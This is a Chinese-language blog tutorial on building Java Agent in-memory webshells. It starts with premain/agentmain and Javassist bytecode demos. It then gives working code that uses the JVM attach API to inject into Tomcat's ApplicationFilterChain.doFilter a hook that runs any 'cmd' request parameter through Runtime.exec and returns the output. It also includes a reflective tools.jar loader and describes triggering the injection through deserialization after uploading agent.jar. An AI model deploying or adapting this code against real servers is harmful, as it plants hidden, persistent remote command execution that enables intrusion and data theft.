JavaAgent Memory Horse
前置知识
JavaAgent出现得概念是在JDK1.5开始,相关类都在java.lang.instrument 包中。
提供允许 Java 编程语言代理检测在 JVM 上运行的程序的服务。检测机制是修改方法的字节码——官方解释。
对于javaagent代理得利用有两种方式:
启动时注入
一种是在程序启动时使用命令启动,—javaagent:xxx.jar[=aptions]
代理 JAR 文件的清单必须Premain-Class在其主清单中包含该属性。该属性的值是代理类的名称。premain代理类必须实现一个原则上类似于main 应用程序入口点的公共静态方法。在 Java 虚拟机 (JVM) 初始化后,premain将调用该方法,然后调用真正的应用程序main方法。该premain方法必须返回才能继续启动。
该premain方法具有两个可能的签名之一。JVM 首先尝试在代理类上调用以下方法:
public static void premain(String agentArgs, Instrumentation inst)
如果代理类未实现此方法,则 JVM 将尝试调用:
public static void premain(String agentArgs)
很多得汉化软件就是用得Javaagent技术。
简单得实现一下吧
启动注入demo
首先创建一个JavaAgentTest,内部需要又premain方法,其实可以从名字就能看出是在main方法之前执行得。
package com.y2an0;import java.lang.instrument.Instrumentation;public class JavaAgentTest {public static void premain(String agentArgs, Instrumentation inst){System.out.println("start");System.out.println(agentArgs);}}
然后我们需要创建一个Main.mf用来打包成jar,其中需要又Premain-class属性。
Manifest-Version: 1.0Premain-Class: com.y2an0.JavaAgentTest
接下来我们在创建一个常规测试demo
package com.y2an0;public class Test {public static void main(String[] args) {System.out.println("Hello world");}}
就简单打印一下hello world。同样也需要一个MF文件,如下
Manifest-Version: 1.0Main-Class: com.y2an0.Test
接下来就是打包了,使用命令:
jar cvfm Test.jar Test.mf Test.class
生成两个jar包,Test.jar和agent.jar
然后我们运行命令java -javaagent:agent.jar=args -jar Test.jar 需要注意得是运行注入-javaagent参数需要在-jar参数之前。
结果如下:

可以看到我们输入得参数args也打印出来了,所以基本上对整个程序得运行就很明了了噻。
字节码增强
Javasist是一款日本人开发得用于字节码操作的工具包,虽然反射也能在运行时操作字节码,但是只限于操作,不能修改,所以如果需要修改字节码,就需要Javasist来操作,当然还有其他的工具也有一样的功能。
javasist整体使用还是比较简单的,这里我们只是讲一下他的使用,不会做更加详细的讲解。为了看到效果,我们可以先创建一个测试类Test。
package com.y2an0;public class Test {public static void main(String[] args) {System.out.println("Hello world");}public void JavaByte(){System.out.println("Java Byte");}}//老演员了
然后我们再创建一个用于修改java字节码的类JavaByteTest
package com.y2an0.javaByte;import com.y2an0.Test;import javassist.*;import java.io.IOException;public class JavaByteTest {public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, InstantiationException, IllegalAccessException {ClassPool classPool=ClassPool.getDefault();CtClass clz=classPool.get("com.y2an0.Test");CtMethod method=clz.getDeclaredMethod("JavaByte");System.out.println("JavaByte Code Test");method.insertBefore("System.out.println(\"JavaByte Code Before\");");method.insertAfter("System.out.println(\"JavaByte Code After\");");clz.writeFile();//保存到文件Test o = (Test) clz.toClass().newInstance();o.JavaByte();}}
其实可以看到很多地方和反射是类似的。
//运行结果JavaByte Code TestJavaByte Code BeforeJava ByteJavaByte Code AfterProcess finished with exit code 0

可以看到保存的class文件确实已经把相应的语句添加进去了。
动态修改字节码
使用agent动态修改字节码其实也是在程序运行前,因为在程序运行前是将多有相关的代码编译成了class文件,执行的时候将class文件引入jvm内存,所以我们只要能够修改字节码就能完成一些如注册破解,汉化等操作在不破坏原来的jar包的前提下。
在前面我们看到了premain(String agentArgs, Instrumentation inst) 除了包含了传进来的变量外,还有一个Instrumentation对象,至于这个对象的含义我们接下来慢慢看。

可以看到这里面有很多的方法,我们只看几个常用。
部分参考:http://wjlshare.com/archives/1582
public interface Instrumentation {//添加一个类文件转换器void addTransformer(ClassFileTransformer transformer, boolean canRetransform);//同上,只是少了一个被转换的类能否可以再次被转换void addTransformer(ClassFileTransformer transformer);//移除类文件转换器boolean removeTransformer(ClassFileTransformer transformer);//确定一个类是否可以被转换或者重新修改boolean isModifiableClass(Class<?> theClass);//返回当前JVM加载的所有类数组@SuppressWarnings("rawtypes")Class[] getAllLoadedClasses();// 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;}
动态修改字节码demo
其实这里的话暂时只给搭建看一下addTransformer()的用法,其他的都挺简单的,大家可以自行尝试。
首先我们还是用我们的老演员了Test类
package com.y2an0.learn;public class Test {public void JavaByte(){System.out.println("Java Byte");}}//下面这个类主要时调用Testpackage com.y2an0.learn;public class App{public static void main( String[] args ){System.out.println( "App Test" );System.out.println("Start execute Test's JavaByte");Test test=new Test();test.JavaByte();}}
然后就是premain()方法了,这里我们直接new一个ClassFileTransformer对象
package com.y2an0;import javassist.*;import java.io.IOException;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.lang.instrument.Instrumentation;import java.security.ProtectionDomain;public class JavaAgentTest {public static final String target="com.y2an0.Tests";public static void premain(String args, Instrumentation ist){ist.addTransformer(new ClassFileTransformer() {@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {className=className.replace("/",".");if (className.equals(target)){System.out.println(className);ClassPool classPool=ClassPool.getDefault();try {System.out.println("getClass");CtClass ctClass = classPool.getCtClass(className);System.out.println("getMethod");CtMethod javaByte = ctClass.getDeclaredMethod("JavaByte");javaByte.insertAfter("System.out.println(\"JavaByte Code After\");");byte[] bytes = ctClass.toBytecode();//需要把这个CtClass从ClassPool中去除ctClass.detach();return bytes;} catch (NotFoundException e) {System.out.println("NotFoundException:"+e.getMessage());} catch (CannotCompileException e) {System.out.println("CannotCompileException:"+e.getMessage());} catch (IOException e) {System.out.println("IOException:"+e.getMessage());}}return classfileBuffer;}});}}
接下来就是打包成jar包了,对于含有main方法的项目很好打包,但是如果是premain这类的最好是使用自动化打包,方便快捷。
感兴趣的可以看看这篇博客,这里就不做详细说明了:https://www.jianshu.com/p/0d85d0539b1a
<plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-compiler-plugin</artifactId><configuration><source>1.8</source><target>1.8</target><encoding>utf-8</encoding></configuration></plugin><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-assembly-plugin</artifactId><configuration><archive><manifest><addClasspath>true</addClasspath><!-- <Main-Class>com.y2an0.App</Main-Class>--></manifest><manifestEntries><Premain-Class>com.y2an0.JavaAgentTest</Premain-Class><!-- <Agent-Class>com.y2an0.JavaAgentTest</Agent-Class>--><Can-Redefine-Classes>true</Can-Redefine-Classes><Can-Retransform-Classes>true</Can-Retransform-Classes><Can-Set-Native-Method-Prefix>true</Can-Set-Native-Method-Prefix></manifestEntries></archive><descriptorRefs><descriptorRef>jar-with-dependencies</descriptorRef></descriptorRefs></configuration><executions><execution><id>make-assembly</id><phase>package</phase><goals><goal>single</goal></goals></execution></executions></plugin>
打包的话可以用这个,亲测有效,但是需要在引入
<dependency><groupId>org.apache.maven.plugins</groupId><artifactId>maven-assembly-plugin</artifactId><version>3.3.0</version><type>maven-plugin</type></dependency>
以上是在JDK8实现的,在JDK11时会报错。

动态代理
premain是从jdk1.5开始的,但是此种代理有缺点就是需要在启动时一起运行,但是像一些内存马之内的我们需要的是在程序已经运行后代理,所以还有一个agentmain就是在程序运行中可以动态代理的。
实现可以提供一种机制来在 VM 启动后的某个时间启动代理。关于如何启动的细节是特定于实现的,但通常应用程序已经启动并且它的main方法已经被调用。如果实现支持在 VM 启动后启动代理,则适用以下情况:
- 代理 JAR 的清单必须
Agent-Class在其主要清单中包含该属性。该属性的值是代理类的名称。 - 代理类必须实现公共静态
agentmain方法。
该agentmain方法具有两个可能的签名之一。JVM 首先尝试在代理类上调用以下方法:
public static void agentmain(String agentArgs, Instrumentation inst)
如果代理类未实现此方法,则 JVM 将尝试调用:
public static void agentmain(String agentArgs)
premain当使用命令行选项启动代理时,代理类也可能有一个使用方法。在 VM 启动后启动代理时,premain不会调用该方法。
代理通过agentArgs 参数传递其代理选项。代理选项作为单个字符串传递,任何额外的解析都应该由代理自己执行。
该agentmain方法应该执行启动代理所需的任何必要初始化。启动完成后,该方法应返回。如果无法启动代理(例如,因为无法加载代理类,或者因为代理类没有符合的 agentmain方法),则 JVM 不会中止。如果该agentmain 方法抛出未捕获的异常,它将被忽略(但可能会被 JVM 记录以进行故障排除)。
综上所述,其实agentmain和premain使用是一致的,但是因为我们需要在jvm运行中加载进去,所以除了agentamin的实现同时还需要加载到jvm线程当中去。
在tools.jar包中就存在相关的类文件。
如果需要自己导入的话使用的是maven格式那么可以像这样
<dependency><groupId>com.sun</groupId><artifactId>tools</artifactId><scope>system</scope><systemPath>D:/tools/cmder/base/java18/lib/tools.jar</systemPath>//跟自己的路径就可以了</dependency>
主要的两个类如下图VirtualMachine 和VirtualMachineDescriptor

VirtualMachine
VirtualMachine主要是获取虚拟机运行的内部信息(运行的类啥啥的),其中包括了内存的Dump,线程的dump。
Attach方法:其实就是通过传入的ID来找到对应的虚拟机并远程连接
VirtualMachine virtualMachine=VirtualMachine.attach("id");//id为我们传入的ID
detach方法:就是断开连接可以这样理解。
virtualMachine.detach();
list方法:获取所有的虚拟机列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
loadAgent方法:将agent的jar包注入到虚拟机中
virtualMachine.loadAgent("xxxagent.jar");
VirtualMachineDescriptor
他其实就是一个描述虚拟机的容器类。根据上面的list()方法我们能看出虚拟机的属性基本就是由他来描述的。
VirtualMachine是如何将agent.jar注入到虚拟机中的,其实整个流程还是蛮简单的,首先是VirtualMachine.attach()利用pid连接到Java进程,然后使用loadAgent将agent注入到Java进程中,因为存在agentamin,所以会被执行,从而执行我们在agentmain中实现的方法。
具体流程图,我借用木头师傅借用奶思师傅的图片

有前面的说明看这张图基本就一目了然了。
至于agent.jar这里就不多说了,和premain是一样得写法,只是我们需要在addTransformer后retransformClasses(),以保证我们修改后得类重新加载到jvm虚拟机中。
inst.addTransformer(new ClassFileTransformer(),true);// 获取所有已加载的类Class[] classes = inst.getAllLoadedClasses();for (Class clas:classes){if (clas.getName().equals(target)){try{// 对类进行重新定义inst.retransformClasses(clas);} catch (Exception e){e.printStackTrace();}}}
agentmain是需要我们使用VritualMachine注入到Java线程中得,具体使用我们看下面得代码
public class VirtualMachineTest {public static void main(String[] args) {String path="agent-jar-with-dependencies.jar";List<VirtualMachineDescriptor> list = VirtualMachine.list();for (VirtualMachineDescriptor v:list){if (v.displayName().contains("App")){//匹配对应得Java进程System.out.println(v.displayName()+"===>pid:"+v.id());try {VirtualMachine attach = VirtualMachine.attach(v.id());//连接到虚拟机attach.loadAgent(path);//向虚拟机中加载agent.jarattach.detach();//退出连接} catch (AttachNotSupportedException e) {e.printStackTrace();} catch (IOException e) {e.printStackTrace();} catch (AgentLoadException e) {e.printStackTrace();} catch (AgentInitializationException e) {e.printStackTrace();}}}}}
我们可以用jps 查看所有Java进程pid

ClassLoader加载tools
因为在正常虚拟机启动时是不会挂在tools.jar,所以我们需要使用classloader挂载,因为这在内存马生成过程中是需要通过反序列化执行代码然后将agent注入到我们得目标程序。
ClassLoader得使用我们直接看代码。
package com.y2an0.VirtualTest;public class ClassLoaderVirtualMachine {public static void main(String[] args) {ClassLoaderUse();}public static void ClassLoaderUse(){//目标类全限定类名java.lang.String target="";//存在于目标服务器上的agent.jar目录java.lang.String agentPath="";java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");try {System.out.println(toolsPath.toURI().toURL());java.net.URL url = toolsPath.toURI().toURL();java.net.URLClassLoader classLoader=new java.net.URLClassLoader(new java.net.URL[]{url});Class<?> customerVirtual=classLoader.loadClass("com.sun.tools.attach.VirtualMachine");Class<?> customerVirtualDescriptor=classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");java.lang.reflect.Method listMethod=customerVirtual.getDeclaredMethod("list",null);java.util.List<Object> listVm=(java.util.List<Object>) listMethod.invoke(customerVirtual,null);for (int i=0;i<listVm.size();i++){Object o=listVm.get(i);java.lang.reflect.Method displayMethod=customerVirtualDescriptor.getDeclaredMethod("displayName",null);String name= (String) displayMethod.invoke(o,null);if (name.equals(target)){java.lang.reflect.Method getId=customerVirtualDescriptor.getDeclaredMethod("id",null);String id= (String) getId.invoke(o,null);java.lang.reflect.Method attach=customerVirtual.getDeclaredMethod("attach",new Class[]{java.lang.String.class});java.lang.Object attachObj=attach.invoke(o,new Object[]{id});java.lang.reflect.Method loadAgent=customerVirtual.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});loadAgent.invoke(attachObj,new Object[]{agentPath});java.lang.reflect.Method detach=customerVirtual.getDeclaredMethod("detach",null);detach.invoke(attachObj,null);break;}}} catch (Exception e) {e.printStackTrace();}}}
在代码中我们尽量使用全限定类名,减少类的引入,同时还能保证程序可以稳定运行。
Java Agent内存马
为了实现内存马,我们基本使用最多的就是filter型内存马,这个和普通的filter内存马最大的区别个人感觉除了难以查杀同时存活时间也是最长。
目前网上的大量filter内存马都时在org.apache.catalina.core.ApplicationFilterChain#doFilter 处进行处理的,我们看下源码把

所以我们就可以直接修改doFilter方法中的代码,然我们的代码在执行完我们的程序后直接internalDoFIlter() 就可以了。所以整体思路还是很清晰的。
位置我们找到了,接下来就是代码的编写了
package com.y2an0.DynamicTest;import javassist.*;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.lang.instrument.Instrumentation;import java.lang.instrument.UnmodifiableClassException;import java.security.ProtectionDomain;public class DynamicDemo {public static final String target="org.apache.catalina.core.ApplicationFilterChain";public static final String MethodName="doFilter";public static void agentmain(String args, Instrumentation inst) throws UnmodifiableClassException, ClassNotFoundException {inst.addTransformer(new ClassFileTransformer() {@Overridepublic byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {className=className.replace("/",".");if (target.equals(className)) {ClassPool classPool=ClassPool.getDefault();try {CtClass ctClass = classPool.getCtClass(className);System.out.println("====================");System.out.println("className:"+ctClass.getName());CtMethod javaByte = ctClass.getDeclaredMethod(MethodName);System.out.println("MethodName:"+javaByte.getName());javaByte.insertBefore("java.lang.String used = (java.lang.String)request.getAttribute(\"used\");\n" +"if (used==null||\"\".equals(used)){\n" +" java.lang.String cmd=request.getParameter(\"cmd\");\n" +" if (!\"\".equals(cmd)&&cmd!=null){\n" +" java.lang.Process process= null;\n" +" try {\n" +" process = java.lang.Runtime.getRuntime().exec(cmd);\n" +" byte[] buf = new byte[1024];\n" +" java.io.InputStream inputStream = process.getInputStream();\n" +" int len=0;\n" +" int index=0;\n" +" while ((len= inputStream.read(buf))>0){\n" +" System.out.println(new String(buf, index, len));\n" +" request.setAttribute(\"used\",new java.lang.String[]{\"used\"});\n" +" response.getWriter().println(new String(buf, index, len));\n" +" index+=len;\n" +" }\n" +" java.lang.System.out.println(\"执行了命令了\");\n" +" process.destroy();\n" +" internalDoFilter(request,response);//直接从这就走了\n" +" } catch (Exception e) {}\n" +" internalDoFilter(request,response);\n" +" }\n" +"}");System.out.println("insert finished!");byte[] bytes = ctClass.toBytecode();ctClass.detach();System.out.println("detach");return bytes;} catch (Exception e) {System.out.println("+++++++++++++++++");System.out.println(e.getMessage());System.out.println("+++++++++++++++++");}}return classfileBuffer;}},true);// 获取所有已加载的类Class[] classes = inst.getAllLoadedClasses();for (Class clas:classes){if (clas.getName().equals(target)){try{// 对类进行重新定义inst.retransformClasses(new Class[]{clas});} catch (Exception e){e.printStackTrace();}}}}}
这里我们添加的代码如下:
java.lang.String cmd=request.getParameter("cmd");if (!"".equals(cmd)&&cmd!=null){java.lang.Process process= null;try {process = java.lang.Runtime.getRuntime().exec(cmd);byte[] buf = new byte[1024];java.io.InputStream inputStream = process.getInputStream();int len=0;int index=0;while ((len= inputStream.read(buf))>0){System.out.println(new String(buf, index, len));request.setAttribute("used",new java.lang.String[]{"used"});response.getWriter().println(new String(buf, index, len));index+=len;}java.lang.System.out.println("执行了命令了");process.destroy();internalDoFilter(request,response);//直接从这就走了} catch (Exception e) {}internalDoFilter(request,response);}
至于代码中为何要用全限定类名前面也说过了。
然后结合ClassLoader加载tools的代码就能完成了。
我们这里就本地执行ClassLoader加载程序,反序列化各位可以自己搞搞,没啥难度。

整个流程分为两步:
- 上传我们的agent.jar到目标服务器(方式很多,能反序列化我们也能远程下载)
- 利用反序列化执行ClassLoader加载tools.jar,从而将agent.jar注入到目标进程中
到这里其实就差不多了,后面如何反序列化我们的代码,这里就不作讲解了。
注意
- JDK版本三个需要保持一致:目标网站JDK、Agent代理打包用的JDK、Tools挂载使用JDK(我这里都是用的是JDK8)
- JDK8版本的javasist需要使用的
3.21.0-GA这一个版本大于等于(踩坑)
思考
- agent内存马相对于Filter内存马更加不容易检测(但是感觉是假的,只要能操作字节码,在ASM面前啥都是弟弟)。这里送一个大佬写的内存马检测修复工具:https://github.com/4ra1n/FindShell。
- agent内存马注入的时候是有风险的,因为很多时候容易因为内存不足将网站打死。
- agent内存马注入后,agent.jar是删除不掉的,所以还是会留下很多的问题。
总结
还是用Filter这些内存马更舒服,虽然代码量会多一点,逻辑强一点,但是总的来说依赖是最小的,不需要上传文件,文件的上传很大可能会被监控。
结束!Bye!
